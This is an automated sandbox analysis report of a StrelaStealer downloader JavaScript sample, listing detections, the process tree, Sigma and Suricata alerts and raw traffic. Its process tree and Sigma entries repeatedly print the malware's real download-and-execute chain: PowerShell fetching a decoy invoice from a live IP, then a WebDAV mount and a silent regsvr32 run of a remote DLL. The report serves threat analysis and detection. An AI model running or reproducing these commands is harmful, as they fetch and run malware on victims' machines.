Edit tour

Windows Analysis Report
4702309321830413443.js

Overview

General Information

Sample name:	4702309321830413443.js
Analysis ID:	1588542
MD5:	2b270d3dc8487327852de9a133f12159
SHA1:	0e3bd0d70c67f062d4db19ae50633a0ca0e445c2
SHA256:	c0e9b36c438d2a6716a4143b6735b466187371251f1aafd686161e8d35cf4a9c
Tags:	jsStrelaStealeruser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Multi AV Scanner detection for submitted file

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Detected non-DNS traffic on DNS port

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 8144 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\4702309321830413443.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 7380 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\11016164386971.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7400 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7528 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 5892 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 4620 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 5980 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2124 --field-trial-handle=1728,i,10853324253008590599,16363621483896230519,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 5764 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 5768 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 3192 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 8144	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\11016164386971.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7380, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7528, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\11016164386971.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7380, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7528, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\4702309321830413443.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\4702309321830413443.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 3968, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\4702309321830413443.js", ProcessId: 8144, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 5768, Protocol: tcp, SourceIp: 192.168.2.10, SourceIsIpv6: false, SourcePort: 49743

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\11016164386971.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\11016164386971.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\4702309321830413443.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 8144, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\11016164386971.dll, ProcessId: 7380, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\11016164386971.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\11016164386971.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\4702309321830413443.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 8144, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\11016164386971.dll, ProcessId: 7380, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\11016164386971.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\11016164386971.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\4702309321830413443.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 8144, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\11016164386971.dll, ProcessId: 7380, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\11016164386971.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\11016164386971.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\4702309321830413443.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 8144, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\11016164386971.dll, ProcessId: 7380, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\11016164386971.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\11016164386971.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\4702309321830413443.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 8144, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\11016164386971.dll, ProcessId: 7380, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\4702309321830413443.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\4702309321830413443.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 3968, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\4702309321830413443.js", ProcessId: 8144, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\11016164386971.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7380, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7528, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5764, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 5768, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 620, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 3192, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5764, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 5768, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\11016164386971.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\11016164386971.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\4702309321830413443.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 8144, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\11016164386971.dll, ProcessId: 7380, ProcessName: cmd.exe

Suricata Signatures

ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T02:13:38.147089+0100	2859560	1	Malware Command and Control Activity Detected	192.168.2.10	49727	193.143.1.205	80	TCP

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T02:13:40.269679+0100	1810005	1	Potentially Bad Traffic	192.168.2.10	49743	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T02:13:38.147089+0100	1810000	2	Potentially Bad Traffic	192.168.2.10	49727	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: 4702309321830413443.js

Virustotal: Detection: 9%

Perma Link

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 4702309321830413443.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 4702309321830413443.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2859560 - Severity 1 - ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET) : 192.168.2.10:49727 -> 193.143.1.205:80
Source: Network traffic	Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.10:49743 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 01:13:38 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

